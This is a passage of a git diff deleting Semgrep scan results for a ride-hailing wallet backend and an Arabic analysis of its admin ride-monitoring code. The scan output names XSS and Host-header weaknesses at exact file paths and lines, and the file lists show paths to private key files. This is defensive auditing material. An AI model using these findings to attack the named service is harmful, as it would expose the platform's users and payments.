/retry_search_drivers.php","backend/ride/rides/start_ride.php","backend/ride/rides/test_notification.php","backend/ride/rides/update.php","backend/ride/rides/updateRideAndCheckIfApplied.php","backend/ride/rides/updateStausFromSpeed.php","backend/ride/rides/update_ride_cancel_wait.php","backend/ride/seferWallet/add.php","backend/ride/seferWallet/get.php","backend/ride/tips/add.php","backend/ride/tips/get.php","backend/ride/videos_driver/get.php","backend/schema_primary.sql","backend/schema_ride.sql","backend/schema_tracking.sql","backend/serviceapp/addCartoDriver.php","backend/serviceapp/addNotesDriver.php","backend/serviceapp/addNotesPassenger.php","backend/serviceapp/addWelcomeDriverNote.php","backend/serviceapp/check_db.php","backend/serviceapp/deleteDriverNotCompleteRegistration.php","backend/serviceapp/driverWhoregisterFfterCall.php","backend/serviceapp/drivers_list.txt","backend/serviceapp/editCarPlate.php","backend/serviceapp/getCarPlateNotEdit.php","backend/serviceapp/getComplaintAllData.php","backend/serviceapp/getComplaintAllDataForDriver.php","backend/serviceapp/getDriverByNational.php","backend/serviceapp/getDriverByPhone.php","backend/serviceapp/getDriverDetailsForActivate.php","backend/serviceapp/getDriverNotCompleteRegistration.php","backend/serviceapp/getDriversPhoneNotComplete.php","backend/serviceapp/getDriversWaitingActive.php","backend/serviceapp/getEditorStatsCalls.php","backend/serviceapp/getEmployeeDriverAfterCallingRegister.php","backend/serviceapp/getEmployeeStatic.php","backend/serviceapp/getJsonFile.php","backend/serviceapp/getNewDriverRegister.php","backend/serviceapp/getNotesForEmployee.php","backend/serviceapp/getPackages.php","backend/serviceapp/getPassengersByPhone.php","backend/serviceapp/getPassengersNotCompleteRegistration.php","backend/serviceapp/getPassengersStatic.php","backend/serviceapp/getRidesStatic.php","backend/serviceapp/getdriverWithoutCar.php","backend/serviceapp/getdriverstotalMonthly.php","backend/serviceapp/login.php","backend/serviceapp/register.php","backend/serviceapp/registerDriverAndCarService.php","backend/serviceapp/updateDriver.php","backend/serviceapp/updateDriverToActive.php","backend/serviceapp/updatePackages.php","backend/serviceapp/update_complaint.php","backend/serviceapp/web/drivers.html","backend/serviceapp/web/f.html","backend/serviceapp/web/getDrivers.php","backend/serviceapp/work/addCarWantWork.php","backend/serviceapp/work/addDriverWantWork.php","backend/test_signed_pricing.php","backend/uploadImagePortrate.php","backend/upload_audio.php","backend/webhook_sms/webhook.php","siromove.com/invite.php","siromove.com/inviteSyria.php","socket_intaleq/driver_socket.php","socket_intaleq/passenger_socket.php"]},"time":{"rules":[],"rules_parse_time":0.3916339874267578,"profiling_times":{"config_time":3.5235681533813477,"core_time":7.5553388595581055,"ignores_time":0.00048422813415527344,"total_time":11.093009233474731},"parsing_time":{"total_time":0.0,"per_file_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"scanning_time":{"total_time":16.29555320739746,"per_file_time":{"mean":0.012506180512200697,"std_dev":0.0036765773292479105},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"matching_time":{"total_time":0.0,"per_file_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_files":[]},"tainting_time":{"total_time":0.0,"per_def_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_defs":[]},"fixpoint_timeouts":[],"prefiltering":{"project_level_time":0.0,"file_level_time":0.0,"rules_with_project_prefilters_ratio":0.0,"rules_with_file_prefilters_ratio":0.9993088552915766,"rules_selected_ratio":0.07447084233261339,"rules_matched_ratio":0.07447084233261339},"targets":[],"total_bytes":0,"max_memory_bytes":803370176},"engine_requested":"OSS","skipped_rules":[],"profiling_results":[]} \ No newline at end of file diff --git a/semgrep_wallet_results.json b/semgrep_wallet_results.json deleted file mode 100644 index 52e97fa..0000000 --- a/semgrep_wallet_results.json +++ /dev/null @@ -1 +0,0 @@ -{"version":"1.166.0","results":[{"check_id":"php.lang.security.injection.echoed-request.echoed-request","path":"walletintaleq.intaleq.xyz/v2/main/ride/cliq/verify_payment_ai.php","start":{"line":68,"col":9,"offset":2684},"end":{"line":68,"col":96,"offset":2771},"extra":{"message":"`Echo`ing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.","fix":"echo htmlentities(json_encode([\"status\" => \"failure\", \"message\" => \"Verification failed: $reason\"]));","metadata":{"technology":["php"],"cwe":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"],"owasp":["A07:2017 - Cross-Site Scripting (XSS)","A03:2021 - Injection","A05:2025 - Injection"],"category":"security","references":["https://www.php.net/manual/en/function.htmlentities.php","https://www.php.net/manual/en/reserved.variables.request.php","https://www.php.net/manual/en/reserved.variables.post.php","https://www.php.net/manual/en/reserved.variables.get.php","https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Cross-Site-Scripting (XSS)"],"source":"https://semgrep.dev/r/php.lang.security.injection.echoed-request.echoed-request","shortlink":"https://sg.run/Bqqb"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"generic.nginx.security.request-host-used.request-host-used","path":"walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/mtn_confirm.php","start":{"line":16,"col":9,"offset":571},"end":{"line":16,"col":14,"offset":576},"extra":{"message":"'$http_host' and '$host' variables may contain a malicious value from attacker controlled 'Host' request header. Use an explicitly configured host value or a allow list for validation.","metadata":{"cwe":["CWE-290: Authentication Bypass by Spoofing"],"references":["https://github.com/yandex/gixy/blob/master/docs/en/plugins/hostspoofing.md","https://portswigger.net/web-security/host-header"],"category":"security","technology":["nginx"],"confidence":"MEDIUM","owasp":["A07:2021 - Identification and Authentication Failures","A07:2025 - Authentication Failures"],"subcategory":["audit"],"likelihood":"LOW","impact":"LOW","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Improper Authentication"],"source":"https://semgrep.dev/r/generic.nginx.security.request-host-used.request-host-used","shortlink":"https://sg.run/4x3Z"},"severity":"WARNING","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"generic.nginx.security.request-host-used.request-host-used","path":"walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/mtn_confirm.php","start":{"line":17,"col":46,"offset":694},"end":{"line":17,"col":51,"offset":699},"extra":{"message":"'$http_host' and '$host' variables may contain a malicious value from attacker controlled 'Host' request header. Use an explicitly configured host value or a allow list for validation.","metadata":{"cwe":["CWE-290: Authentication Bypass by Spoofing"],"references":["https://github.com/yandex/gixy/blob/master/docs/en/plugins/hostspoofing.md","https://portswigger.net/web-security/host-header"],"category":"security","technology":["nginx"],"confidence":"MEDIUM","owasp":["A07:2021 - Identification and Authentication Failures","A07:2025 - Authentication Failures"],"subcategory":["audit"],"likelihood":"LOW","impact":"LOW","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Improper Authentication"],"source":"https://semgrep.dev/r/generic.nginx.security.request-host-used.request-host-used","shortlink":"https://sg.run/4x3Z"},"severity":"WARNING","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"php.lang.security.injection.echoed-request.echoed-request","path":"walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/verify_payment_ai.php","start":{"line":68,"col":9,"offset":2604},"end":{"line":68,"col":96,"offset":2691},"extra":{"message":"`Echo`ing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.","fix":"echo htmlentities(json_encode([\"status\" => \"failure\", \"message\" => \"Verification failed: $reason\"]));","metadata":{"technology":["php"],"cwe":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"],"owasp":["A07:2017 - Cross-Site Scripting (XSS)","A03:2021 - Injection","A05:2025 - Injection"],"category":"security","references":["https://www.php.net/manual/en/function.htmlentities.php","https://www.php.net/manual/en/reserved.variables.request.php","https://www.php.net/manual/en/reserved.variables.post.php","https://www.php.net/manual/en/reserved.variables.get.php","https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Cross-Site-Scripting (XSS)"],"source":"https://semgrep.dev/r/php.lang.security.injection.echoed-request.echoed-request","shortlink":"https://sg.run/Bqqb"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}}],"errors":[],"paths":{"scanned":["walletintaleq.intaleq.xyz/.gitignore","walletintaleq.intaleq.xyz/WalletDB.sql","walletintaleq.intaleq.xyz/mtnpayment.html","walletintaleq.intaleq.xyz/ttt.php","walletintaleq.intaleq.xyz/v2/composer.json","walletintaleq.intaleq.xyz/v2/composer.lock","walletintaleq.intaleq.xyz/v2/main/connect.php","walletintaleq.intaleq.xyz/v2/main/encrypt_decrypt.php","walletintaleq.intaleq.xyz/v2/main/functions.php","walletintaleq.intaleq.xyz/v2/main/jwtconnect.php","walletintaleq.intaleq.xyz/v2/main/load_env.php","walletintaleq.intaleq.xyz/v2/main/loginWalletAdmin.php","walletintaleq.intaleq.xyz/v2/main/ride/GeminiAi.php","walletintaleq.intaleq.xyz/v2/main/ride/apiKey/add.php","walletintaleq.intaleq.xyz/v2/main/ride/apiKey/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/apiKey/get.php","walletintaleq.intaleq.xyz/v2/main/ride/apiKey/update.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/check_status.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/cliq_invoices.sql","walletintaleq.intaleq.xyz/v2/main/ride/cliq/cliq_webhook_handler.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/create_cliq_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/finalize_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/query_click_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/verify_payment_ai.php","walletintaleq.intaleq.xyz/v2/main/ride/driverPayment/add.php","walletintaleq.intaleq.xyz/v2/main/ride/driverPayment/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/driverPayment/get.php","walletintaleq.intaleq.xyz/v2/main/ride/driverPayment/update.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add300ToDriver.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addPaymentToken.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s_reward.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/convertBudgetToPoints.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/deleteNewDriverGiftCronJob.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/driverStatistic.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/get.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/getDriverDetails.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/getDriverWeekPaymentMove.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/getWalletByDriver.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/get_s2s_wallet_dashboard.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/promotionDriver.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/sendEmailTransfer.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/transfer.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/update.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/ecash_verify.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/ecash_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/finalize_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/payWithEcash.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/webhook_connect.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/ecash_config.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/logs/ecash_production.log","walletintaleq.intaleq.xyz/v2/main/ride/ecash/logs/payment_verification.log","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/ecash_verify.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/ecash_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/finalize_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/payWithEcash.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/webhook_connect.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/payWithEcash.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/webhook_ecash.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/confirm_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/finalize_wallet_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/generate_keys.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/initiate_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/key.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/mtn_start.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/private_key.pem","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/public_key.pem","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver_payout_syria.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/confirm_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/finalize_wallet_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/generate_keys.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/initiate_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/key.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/mtn_confirm.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/mtn_start.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/private_key.pem","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/public_key.pem","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/check_status.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/create_mtn_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/finalize_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/mtn_webhook_handler.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/query_mtn_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/verify_payment_ai.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/add.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/addPaymentTokenPassenger.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/add_s2s_debt.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/get.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/getAllPassengerTransaction.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/getPassengerWalletArchive.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/getWalletByPassenger.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/process_wait_compensation.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/update.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/error_log","walletintaleq.intaleq.xyz/v2/main/ride/payMob/payWithPayMob.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymet_verfy.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymet_verfy.php.zip","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/payWithCard.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/payWithWallet.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/paymet_verfy.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/paymob_payout.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/paymob_webHookWallet.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/paymob_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_webhook.log","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/wallet/error_log","walletintaleq.intaleq.xyz/v2/main/ride/payMob/wallet/payWithPayMob.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/wallet/paymet_verfy.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/wallet/paymob_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/add.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/get.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/getAllPayment.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/getAllPaymentVisa.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/getCountRide.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/process_ride_payments.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/update.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/updatePaymetToPaid.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/check_status.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/create_invoice_shamcash.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/deposit_errors.log","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/finalize_deposit.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/last_id.txt","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/passenger/check_status.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/passenger/create_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/passenger/finalize_deposit.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/save_transactions.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/save_transactions_new.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/server_check.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/transactions.log","walletintaleq.intaleq.xyz/v2/main/ride/siroWallet/add.php","walletintaleq.intaleq.xyz/v2/main/ride/siroWallet/get.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/archive.zip","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/driver/confirm_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/driver/finalize_wallet_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/driver/start_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/driver/syriatel_token_handler.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/logs/payment_verification.log","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/passenger/confirm_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/passenger/start_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/passenger/syriatel_token.cache","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/passenger/syriatel_token_handler.php","walletintaleq.intaleq.xyz/v2/main/ride/tips/add.php","walletintaleq.intaleq.xyz/v2/main/ride/tips/get.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/archive.zip","walletintaleq.intaleq.xyz/v2/main/sms_webhook/check_invoice_status.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/check_invoice_status_passenger.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/create_invoice.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/create_invoice_passenger.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/finalize_payout.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/finalize_wallet_payment.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/process_passenger_sms_payment.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/process_with_gemini.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/request_payout.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/save_raw_sms.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/save_raw_sms_passenger.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/webhook.php"]},"time":{"rules":[],"rules_parse_time":0.3470149040222168,"profiling_times":{"config_time":3.525599956512451,"core_time":5.40887713432312,"ignores_time":0.0010819435119628906,"total_time":8.948032855987549},"parsing_time":{"total_time":0.0,"per_file_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"scanning_time":{"total_time":18.86908459663391,"per_file_time":{"mean":0.04137957148384623,"std_dev":0.022103438948977986},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"matching_time":{"total_time":0.0,"per_file_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_files":[]},"tainting_time":{"total_time":0.0,"per_def_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_defs":[]},"fixpoint_timeouts":[{"error_type":"Fixpoint timeout","severity":"warn","message":"Fixpoint timeout while performing taint analysis at walletintaleq.intaleq.xyz/v2/main/ride/cliq/verify_payment_ai.php:1:0 [rules: 1, first: php.lang.security.injection.tainted-callable.tainted-callable]","location":{"path":"walletintaleq.intaleq.xyz/v2/main/ride/cliq/verify_payment_ai.php","start":{"line":1,"col":1,"offset":0},"end":{"line":1,"col":1,"offset":0}}}],"prefiltering":{"project_level_time":0.0,"file_level_time":0.0,"rules_with_project_prefilters_ratio":0.0,"rules_with_file_prefilters_ratio":0.9992372234935164,"rules_selected_ratio":0.09610983981693363,"rules_matched_ratio":0.09610983981693363},"targets":[],"total_bytes":0,"max_memory_bytes":673257216},"engine_requested":"OSS","skipped_rules":[],"profiling_results":[]} \ No newline at end of file diff --git a/siro_admin_ride_monitoring_analysis.md b/siro_admin_ride_monitoring_analysis.md deleted file mode 100644 index acd480f..0000000 --- a/siro_admin_ride_monitoring_analysis.md +++ /dev/null @@ -1,610 +0,0 @@ -
- -# تحليل نظام متابعة الرحلات في لوحة تحكم المشرف (Siro Admin) - -## دراسة شاملة للبحث، التتبع، التعديل، والتعامل مع الرحلات المعلقة - ---- - -## 📋 فهرس المحتويات - -1. [النظام الحالي لمتابعة الرحلات](#النظام-الحالي) -2. [تحليل شاشات وأدوات متابعة الرحلات](#تحليل-الشاشات) -3. [حالات الرحلة الفعلية من قاعدة البيانات](#حالات-الرحلة) -4. [مشكلة رقم الهاتف والدولة](#مشكلة-رقم-الهاتف-والدولة) -5. [الـ Endpoints المستخدمة واستجاباتها](#الـ-endpoints) -6. [ما هو موجود وما هو مفقود](#ما-هو-موجود-وما-هو-مفقود) -7. [التوصيات والتحسينات المطلوبة مع الإصلاحات](#التوصيات-والإصلاحات) - ---- - -## النظام الحالي - -### الملفات المشاركة في متابعة الرحلات - -| الملف | الدور | -|-------|--------| -| `siro_admin/lib/views/admin/rides/ride_lookup_page.dart` | لوحة إدارة الرحلات (Dashboard) - الأحدث | -| `siro_admin/lib/views/admin/rides/rides.dart` | إحصائيات الرحلات الشهرية (قديم) | -| `siro_admin/lib/views/admin/drivers/monitor_ride.dart` | شاشة مراقبة رحلة محددة بالخريطة | -| `siro_admin/lib/controller/rides/ride_lookup_controller.dart` | تحكم البحث عن رحلة وتحديث حالتها | -| `siro_admin/lib/controller/admin/ride_admin_controller.dart` | تحكم إحصائيات الرحلات | - -### ملفات الباك إند - -| الملف | الوظيفة | -|-------|---------| -| `backend/Admin/rides/get_rides_by_status.php` | جلب الرحلات حسب الحالة (Begin, New, Finished, Canceled) | -| `backend/Admin/rides/admin_get_rides_by_phone.php` | البحث عن رحلة برقم هاتف الراكب (مشفر) | -| `backend/Admin/rides/admin_update_ride_status.php` | تحديث حالة الرحلة (Pending→Completed...) | -| `backend/Admin/rides/monitorRide.php` | مراقبة رحلة نشطة برقم الهاتف (يبحث في السائق والراكب) | -| `backend/Admin/rides/get_driver_live_pos.php` | جلب الموقع اللحظي للسائق من `car_locations` | - ---- - -## حالات الرحلة الفعلية في قاعدة البيانات - -### 📌 هيكل الجدول - -```sql -CREATE TABLE `ride` ( - `id` int NOT NULL AUTO_INCREMENT, - `status` varchar(200) NOT NULL DEFAULT 'nothing', -- ❌ NOT ENUM! نص عادي - ... -) ENGINE=InnoDB; - -CREATE TABLE `waitingRides` ( - `id` varchar(100) NOT NULL, - `status` varchar(200) NOT NULL DEFAULT 'nothing', -- ❌ NOT ENUM! نص عادي - ... -) ENGINE=InnoDB; -``` - -### 🗺️ جميع حالات الرحلة المستخدمة فعلياً في الكود - -| الحالة في DB | المعنى | أين تستخدم | -|-------------|--------|------------| -| `nothing` | القيمة الافتراضية | عند إنشاء الرحلة في `add.php` و `addWaitingRide.php` | -| `New` | رحلة جديدة (لم يتم تعيين سائق بعد) | في `Admin/rides/get_rides_by_status.php` للـ Admin Dashboard | -| `waiting` | الرحلة قيد البحث عن سائق | في `retry_search_drivers.php` عند إعادة البحث | -| `wait` | في انتظار (مستخدم في بعض السيرفرات) | في `getRideStatusFromStartApp.php` و `cancelRideByPassenger.php` | -| `Apply` | سائق قبل الرحلة (قيد التوجه) | في `acceptRide.php`, `overLay/get.php`, `driver_statistic.php` | -| `Applied` | تم قبول التطبيق | في `get_rides_by_status.php` (مع Begin) | -| `arrived` | السائق وصل إلى موقع الراكب (lowercase) | في `arrive_ride.php` | -| `Arrived` | السائق وصل (uppercase) | في `get_rides_by_status.php` (مستخدم أيضاً) | -| `Begin` | **الرحلة قيد التشغيل** 🚗 | في `start_ride.php`, `monitorRide.php`, `finish_ride_updates.php` | -| `started` | بدأت الرحلة (مرادف لـ Begin) | في `start_ride.php` (رد API) | -| `Finished` | **الرحلة اكتملت** ✅ | في معظم التقارير والإحصائيات | -| `Cancel` | ملغاة (عام) | في `cancelRideFromDriver.php`, `cancel_ride_by_passenger.php` | -| `CancelFromDriver` | ألغى السائق | في `get_rides_by_status.php` | -| `CancelFromDriverAfterApply` | ألغى السائق بعد القبول | في `get_rides_by_status.php` | -| `CancelFromPassenger` | ألغى الراكب | في `get_rides_by_status.php` | -| `TimeOut` | انتهت المهلة الزمنية | في `get_rides_by_status.php` | - -### 🔄 تسلسل حالة الرحلة الطبيعي: - -``` -nothing / New - │ - ├──→ waiting ──→ Apply ──→ Applied ──→ Arrived ──→ Begin ──→ Finished - │ │ │ │ │ │ - │ │ │ │ │ └── ✅ مكتملة - │ │ │ │ │ - │ │ │ │ └── CancelFromDriverAfterApply - │ │ │ │ - │ │ │ └── CancelFromPassenger - │ │ │ - │ │ └── TimeOut (انتهاء المهلة) - │ │ - │ └── CancelFromDriver - │ - └── Cancel (إلغاء مباشر) -``` - -### ❌ المشكلة في Admin Dashboard الحالي: - -في `get_rides_by_status.php`، التصنيف خاطئ: - -```php -case 'Begin': - $whereClause = "WHERE r.status IN ('Begin','Apply','Applied')"; // ✅ Begin + Apply + Applied - break; -case 'New': - $whereClause = "WHERE r.status = 'New'"; // ✅ جديد - break; -case 'Completed': - $whereClause = "WHERE r.status = 'Finished'"; // ✅ مكتملة - break; -case 'Canceled': - $whereClause = "WHERE r.status IN ('Cancel', 'CancelFromDriverAfterApply', 'TimeOut')"; // ❌ ناقص! - break; -``` - -**🔴 ملاحظات على التصنيف:** -1. `CancelFromDriver` و `CancelFromPassenger` و `Cancel` و `arrived` (lowercase) **غير مشمولة** في أي تصنيف -2. `Apply` و `Applied` مصنفين مع `Begin` (جارية) — هذا صحيح جزئياً لأن السائق في طريقه -3. `TimeOut` مصنف مع `Canceled` — صحيح -4. الرحلة التي حالتها `wait` أو `waiting` **غير معروضة إطلاقاً** في أي تبويب - ---- - -## تحليل الشاشات - -### 1️⃣ شاشة إدارة الرحلات (RidesDashboardScreen) - -**الملف**: `ride_lookup_page.dart` - -#### الوظائف الحالية: -- ✅ عرض الرحلات مصنفة حسب الحالة (جارية، جديدة، مكتملة، ملغاة) -- ✅ إحصائيات فورية (عدد الرحلات لكل حالة + الإيرادات + المسافة) -- ✅ شريط بحث ديناميكي يصفّي النتائج مباشرة -- ✅ الضغط على رحلة → يفتح خريطة التتبع (RideMapMonitorScreen) -- ✅ إظهار معلومات السائق والراكب مع أيقونة اتصال (للمشرف العام) - -#### منطق البحث الحالي: -```dart -void filterRides(String query) { - displayedRides.value = allRidesList.where((ride) { - return ride.driverPhone.contains(query) || - ride.passengerPhone.contains(query) || - ride.driverName.toLowerCase().contains(query.toLowerCase()) || - ride.passengerName.toLowerCase().contains(query.toLowerCase()) || - ride.rideId.contains(query); - }).toList(); -} -``` - -🔴 **مشكلة**: البحث يتم **محلياً** (في الذاكرة) بعد جلب كل الرحلات من API. إذا كانت الرحلات 